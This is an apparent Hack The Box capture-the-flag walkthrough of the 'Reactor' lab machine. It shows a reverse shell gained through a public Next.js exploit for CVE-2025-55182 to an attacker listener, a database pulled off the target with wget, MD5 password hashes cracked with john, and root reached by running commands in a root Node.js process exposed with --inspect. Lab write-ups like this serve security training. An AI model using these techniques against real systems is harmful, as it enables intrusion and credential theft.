Hack The Box Reactor

Pwned by blackxploit


```
┌──(kali㉿kali)-[~/Downloads/reactor]
└─$ rustscan -a 10.129.5.129
Open 10.129.5.129:22
Open 10.129.5.129:3000
```

Wow lets see whats running on port 3000 !
Its a next js app
And i notice my react2shell browser extension can tell me something
Upon looking at the version of next js 15.0.2 using wrapalyzer
Vulnerability confirm !
Since its a known vulnerability i spawn the weapon
Link :

https://github.com/zr0n/react2shell

```
┌──(kali㉿kali)-[~/Downloads/react2shell/react2shell]
└─$ node react2shell.js http://10.129.5.129:3000 shell 10.10.14.98 4444
═══════════════════════════════════════════════════
  React2Shell - CVE-2025-55182 Exploit
═══════════════════════════════════════════════════
[*] Target: http://10.129.5.129:3000
[*] Payload: reverse shell to 10.10.14.98:4444
[!] Ensure listener is ready: nc -lvnp 4444
[*] Sending malicious request...
[+] Request sent successfully
[*] Check server console for output
```

Another terminal start nc -lvnp 4444 or you can use a better tool called pwncat !
Btw after got the shell !
I notice

```
┌──(kali㉿kali)-[~/Downloads/reactor]
└─$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.14.98] from (UNKNOWN) [10.129.5.129] 52808
bash: cannot set terminal process group (1377): Inappropriate ioctl for device
bash: no job control in this shell
node@reactor:/opt/reactor-app$ ls
ls
app
next.config.js
node_modules
package.json
package-lock.json
reactor.db
node@reactor:/opt/reactor-app$
```

A db file
Lets pull it on my local machine
Python3 - m http.server 5555
Then wget http://ip:5555/reactor.db

```
┌──(kali㉿kali)-[~/Downloads/react2shell/react2shell]
└─$ sqlite3 reactor.db
SQLite version 3.46.1 2024-08-13 09:16:08
Enter ".help" for usage hints.
```

sqlite> select * from users;
1|admin|a203b22191redact5c101b17b8|administrator|admin@reactor.htb
2|engineer|39d9711redact12cd271e8e|operator|engineer@reactor.htb
Program interrupted.
Lets crack those
Found password for engineer user !
echo "a203b22191d744a4e70ada5c101b17b8" > hashes.txt
echo "39d97110eafe2a9a68639812cd271e8e" >> hashes.txt
john --format=Raw-MD5 --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt

Quickly login via ssh !
Ssh engineer@ip
And boom !
engineer@10.129.5.129's password:

```
 ____  _____   _    ____ _____ ___  ____
|  _ \| ____|  / \  / ___|_   _/ _ \|  _ \
| |_) |  _|   / _ \| |     | || | | | |_) |
|  _ <| |___ / ___ \ |___  | || |_| |  _ <
|_| \_\_____/_/   \_\____| |_| \___/|_| \_\

   ReactorWatch Core Monitoring System
   Nuclear Dynamics Corp. - Site 7

   AUTHORIZED PERSONNEL ONLY
```

Last login: Mon May 25 17:56:58 2026 from 10.10.14.98

Found user.txt flag yahhh
Next root right ?
But before that lets analyze the system first
First i run sudo -l
Sorry, user engineer may not run sudo on reactor.

Not works
Lets see the processes
And notice root 1384 0.0 1.2 1068080 51080 ? Ssl 11:21 0:02 /usr/bin/node --inspect=127.0.0.1:9229 /opt/uptime-monitor/worker.js
Owned by root !
wow
Ss -tlpn
engineer@reactor:/$ ss -tlnp

State	Recv-Q	Send-Q	Local Address:Port	Peer Address:Port	Process
LISTEN	0	4096	127.0.0.53%lo:53	0.0.0.0:*	
LISTEN	0	5	0.0.0.0:5555	0.0.0.0:*	
LISTEN	0	4096	127.0.0.54:53	0.0.0.0:*	
LISTEN	0	511	127.0.0.1:9229	0.0.0.0:*	
LISTEN	0	4096	0.0.0.0:22	0.0.0.0:*	
LISTEN	0	511	*:3000	*:*	
LISTEN	0	4096	[::]:22	[::]:	

The root process is already running with `--inspect`. I need to connect to it
For that i need a debugger right so
I used a simple method using Chrome DevTools
ssh -L 9229:127.0.0.1:9229 engineer@10.129.5.129
chrome://inspect

Click "Add connection" and add: localhost:9229
Then you'll see the Node.js process and can run commands in console
For first time
Allow pasting
Once connected run require('child_process').execSync('cat /root/root.txt').toString()

Congratulations! You've rooted the machine!
Whats going on under the hood ?

The `--inspect` flag enables the Chrome DevTools Protocol - a debugging interface that allows:

- **Attaching debuggers (like Chrome)**
- **Setting breakpoints**
- **Executing arbitrary JavaScript in the process context**

Chrome Browser ←── WebSocket ←── Target's Node.js Process (root)

Chrome spoke the DevTools Protocol - a JSON-based language for debugging.

`require('child_process')` command was wrapped in a JSON message:

json

```
{
  "id": 1,
  "method": "Runtime.evaluate",
  "params": {
    "expression": "require('child_process').execSync('cat /root/root.txt').toString()"
  }
}
```